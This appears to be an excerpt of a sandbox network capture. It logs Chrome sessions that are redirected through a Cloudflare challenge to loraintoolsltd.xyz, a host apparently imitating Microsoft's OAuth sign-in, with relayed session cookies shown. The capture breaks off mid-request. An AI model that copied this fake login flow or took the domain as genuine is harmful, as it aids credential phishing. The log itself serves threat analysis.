emaPSW1vkIJpYpCMbllph1ZYkJ5ub5x1ZWV1i2JkiqN9i6CUhX+uj3BvepWIvKipjMCsr5S0mriZucKjhMqOqqLQibui1MjPjrLSs5i0nq+y0bbQsr/Av6Ofqri97cLmwrrc1ObLxa3U0+Tczuv06tDa9PTW3/7fwr/K5d394gXiAN705RYB9OYZD/PWG97v7vshBfXvH+f3/undKeUbDC3sMzIlLiYi8zQRKTQV+B08Gg8xNUQhMEoAGwo7Fwg
2025-01-22 05:34:00 UTC	1369	IN	Data Raw: 7a 68 45 51 78 34 39 48 69 51 61 51 53 4a 4c 45 51 74 48 46 69 77 76 56 43 30 53 53 78 55 36 48 45 39 66 46 53 4a 52 4d 69 38 34 48 79 46 56 4e 68 39 4b 61 44 74 67 59 47 55 38 64 55 35 55 51 46 46 73 63 30 64 55 64 46 38 32 57 7a 31 34 55 7a 64 42 56 7a 36 4a 61 6c 6c 56 5a 33 69 4b 59 47 64 4d 69 56 2b 46 64 6f 5a 6a 69 49 75 58 5a 48 61 55 6b 32 68 72 57 59 31 67 57 35 78 35 65 35 68 68 66 58 36 45 70 32 31 2f 72 71 69 43 63 61 57 57 68 6e 68 76 71 4c 6d 50 71 59 71 6f 6b 35 6d 72 67 34 37 46 66 63 57 47 74 63 53 65 69 73 71 37 6a 49 36 70 6a 61 75 65 68 34 33 56 71 4d 6e 59 73 49 37 4c 30 4e 6d 7a 74 35 33 52 74 74 50 46 70 62 44 5a 34 4e 69 71 79 4c 62 6c 72 4e 2f 63 30 73 57 39 38 2b 33 4b 39 62 48 4c 73 74 66 6e 39 73 76 61 2b 4e 4c 41 42 74 72 6b Data Ascii: zhEQx49HiQaQSJLEQtHFiwvVC0SSxU6HE9fFSJRMi84HyFVNh9KaDtgYGU8dU5UQFFsc0dUdF82Wz14UzdBVz6JallVZ3iKYGdMiV+FdoZjiIuXZHaUk2hrWY1gW5x5e5hhfX6Ep21/rqiCcaWWhnhvqLmPqYqok5mrg47FfcWGtcSeisq7jI6pjaueh43VqMnYsI7L0Nmzt53RttPFpbDZ4NiqyLblrN/c0sW98+3K9bHLstfn9sva+NLABtrk
2025-01-22 05:34:00 UTC	1369	IN	Data Raw: 56 4d 4b 53 63 76 45 55 6f 49 52 77 6f 59 49 30 59 57 4e 46 39 63 56 44 56 50 4d 79 46 67 56 79 52 49 50 32 51 6b 57 6a 63 67 50 43 78 45 4b 57 34 75 64 6a 4e 4a 62 44 4a 52 51 31 4e 55 66 33 78 7a 61 6d 46 38 67 47 2b 48 59 44 70 65 58 48 6c 6b 5a 59 39 35 65 47 6c 77 54 58 47 4f 5a 6c 57 47 6d 57 53 46 55 6e 4e 51 66 35 39 58 62 56 70 63 66 4a 75 42 6e 6e 56 32 66 32 5a 37 6f 48 75 72 61 5a 71 7a 6a 36 75 57 70 37 69 36 6b 37 6d 6c 75 4b 31 31 71 36 43 55 74 49 36 68 6e 34 47 56 78 70 75 67 75 37 32 65 77 4d 36 6c 71 5a 32 6c 6f 74 65 57 6a 72 47 69 71 5a 7a 4b 79 35 2b 53 7a 39 2b 63 34 65 4c 6b 73 4a 72 6d 70 4b 75 73 36 71 53 71 73 4f 6e 4a 71 2b 72 66 36 2b 65 71 75 4d 50 6d 39 4e 33 70 31 4c 6e 31 31 74 48 41 32 4e 6a 47 42 2f 4c 45 38 77 33 33 34 Data Ascii: VMKScvEUoIRwoYI0YWNF9cVDVPMyFgVyRIP2QkWjcgPCxEKW4udjNJbDJRQ1NUf3xzamF8gG+HYDpeXHlkZY95eGlwTXGOZlWGmWSFUnNQf59XbVpcfJuBnnV2f2Z7oHuraZqzj6uWp7i6k7mluK11q6CUtI6hn4GVxpugu72ewM6lqZ2loteWjrGiqZzKy5+Sz9+c4eLksJrmpKus6qSqsOnJq+rf6+equMPm9N3p1Ln11tHA2NjGB/LE8w334
2025-01-22 05:34:00 UTC	921	IN	Data Raw: 51 54 79 68 48 52 78 6f 63 4e 78 68 4f 4d 6d 46 43 55 43 52 6b 57 44 4d 65 56 6d 51 36 4e 6d 74 67 62 54 31 4c 62 47 68 49 50 6d 74 73 4f 47 59 31 52 45 35 55 57 6e 74 50 66 33 78 5a 54 46 36 41 61 46 68 53 5a 6f 4e 4d 6a 56 31 46 51 6f 36 44 55 32 57 47 58 6d 52 70 6c 58 6c 4e 57 6e 56 79 6a 48 47 50 65 70 56 69 6f 57 52 66 63 4b 69 62 6f 58 2b 46 6d 48 74 74 73 61 42 2f 61 71 4f 4b 72 6f 61 52 6c 62 43 4e 71 35 46 39 6a 36 32 73 73 49 35 33 73 4a 47 45 78 35 58 43 6c 37 75 65 79 61 43 2b 77 4c 32 66 72 64 43 71 70 4c 44 59 79 71 2f 5a 32 4d 79 67 34 64 44 52 74 37 2b 79 33 37 62 6e 70 65 65 71 78 4b 33 62 70 75 48 6f 34 37 4c 4c 39 4f 72 4b 36 64 62 78 78 4f 79 34 2b 39 4c 77 75 4d 48 4e 7a 76 51 47 30 62 38 46 42 75 44 6a 43 66 37 43 32 2b 4c 6d 78 68 Data Ascii: QTyhHRxocNxhOMmFCUCRkWDMeVmQ6NmtgbT1LbGhIPmtsOGY1RE5UWntPf3xZTF6AaFhSZoNMjV1FQo6DU2WGXmRplXlNWnVyjHGPepVioWRfcKiboX+FmHttsaB/aqOKroaRlbCNq5F9j62ssI53sJGEx5XCl7ueyaC+wL2frdCqpLDYyq/Z2Myg4dDRt7+y37bnpeeqxK3bpuHo47LL9OrK6dbxxOy4+9LwuMHNzvQG0b8FBuDjCf7C2+Lmxh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49771	104.18.94.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:00 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:34:00 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 Jan 2025 05:34:00 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: y6z/rpKTA0Yhx8Bxp7R/3UauU1pXP72O9ltQfjD5dvW7eOJ3lef4JWzcqQ8pszGr5/AExtLWfk23sQOTpr2AlA==$4tHb25u6QBVJGwpp3zv64Q== Server: cloudflare CF-RAY: 905d2c271c4f7d1c-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:34:00 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49772	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:08 UTC	855	OUT	GET /FgJIoRDm?y=hZHJZ8Q HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://login.loraintoolsltd.xyz/FgJIoRDm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd
2025-01-22 05:34:08 UTC	20	IN	HTTP/1.1 302 Found
2025-01-22 05:34:08 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:34:08 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-22 05:34:08 UTC	45	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 2f 0d 0a Data Ascii: Location: https://login.loraintoolsltd.xyz/
2025-01-22 05:34:08 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-22 05:34:08 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-22 05:34:08 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49773	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:08 UTC	837	OUT	GET / HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://login.loraintoolsltd.xyz/FgJIoRDm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd
2025-01-22 05:34:09 UTC	20	IN	HTTP/1.1 302 Found
2025-01-22 05:34:09 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 05:34:09 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:34:09 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 05:34:09 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 35 3a 33 34 3a 30 38 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 05:34:08 GMT
2025-01-22 05:34:09 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 05:34:09 UTC	48	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 2f 6c 6f 67 69 6e 0d 0a Data Ascii: Location: https://www.loraintoolsltd.xyz/login
2025-01-22 05:34:09 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 05:34:09 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 05:34:09 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-22 05:34:09 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49775	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:09 UTC	803	OUT	GET /login HTTP/1.1 Host: www.loraintoolsltd.xyz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd
2025-01-22 05:34:10 UTC	20	IN	HTTP/1.1 302 Found
2025-01-22 05:34:10 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:34:10 UTC	24	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a Data Ascii: Content-Encoding: gzip
2025-01-22 05:34:10 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 05:34:10 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 35 3a 33 34 3a 30 39 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 05:34:09 GMT
2025-01-22 05:34:10 UTC	837	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 2f 63 6f 6d 6d 6f 6e 2f 6f 61 75 74 68 32 2f 76 32 2e 30 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 46 6c 61 6e 64 69 6e 67 76 32 26 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 25 32 30 69 64 5f 74 6f 6b 65 6e 26 73 63 6f 70 65 3d 6f 70 65 6e 69 64 25 32 30 70 72 6f 66 69 6c 65 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f Data Ascii: Location: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.co
2025-01-22 05:34:10 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 05:34:10 UTC	25	IN	Data Raw: 52 65 71 75 65 73 74 2d 43 6f 6e 74 65 78 74 3a 20 61 70 70 49 64 3d 0d 0a Data Ascii: Request-Context: appId=
2025-01-22 05:34:10 UTC	114	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 44 43 41 66 66 69 6e 69 74 79 3d 4f 48 2d 73 63 75 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 31 33 3a 33 34 3a 30 39 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.DCAffinity=OH-scu; Path=/; Expires=Wed, 22 Jan 2025 13:34:09 GMT; HttpOnly; Secure; SameSite=None
2025-01-22 05:34:10 UTC	138	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 46 4c 49 44 3d 37 39 63 33 39 35 36 30 2d 64 31 63 63 2d 34 33 30 34 2d 38 34 64 39 2d 33 35 33 65 32 65 39 64 35 65 31 33 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 32 32 20 4a 61 6e 20 32 30 32 36 20 30 35 3a 33 34 3a 30 39 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.FLID=79c39560-d1cc-4304-84d9-353e2e9d5e13; Path=/; Expires=Thu, 22 Jan 2026 05:34:09 GMT; HttpOnly; Secure; SameSite=None
2025-01-22 05:34:10 UTC	68	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 53 49 44 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: OH.SID=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49776	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:10 UTC	1888	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd; fpc=Ato6LhKJx0FKhxMTu5t133I; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE3HQzi_tCS94XmTqmYn4uzsObdGCWEXJ4kT4Ghnu1-a8e4l5ESPiLk3QpovKFlFxUDWXQGP2Elz9qgkBEFUNnhJq79v2Cx0KIi8lGGxGla9T7NkZN-hvvsDx6BaNrBA5JWtE0G4IID587refJD1N2XOy-BhFzHovViuyJG3xp5OogAA; stsservicecookie=estsfd
2025-01-22 05:34:11 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 05:34:11 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 05:34:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:34:11 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 05:34:11 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 35 3a 33 34 3a 31 30 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 05:34:10 GMT
2025-01-22 05:34:11 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 05:34:11 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 05:34:11 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 05:34:11 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-22 05:34:11 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 05:34:11 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49779	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:12 UTC	2924	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: 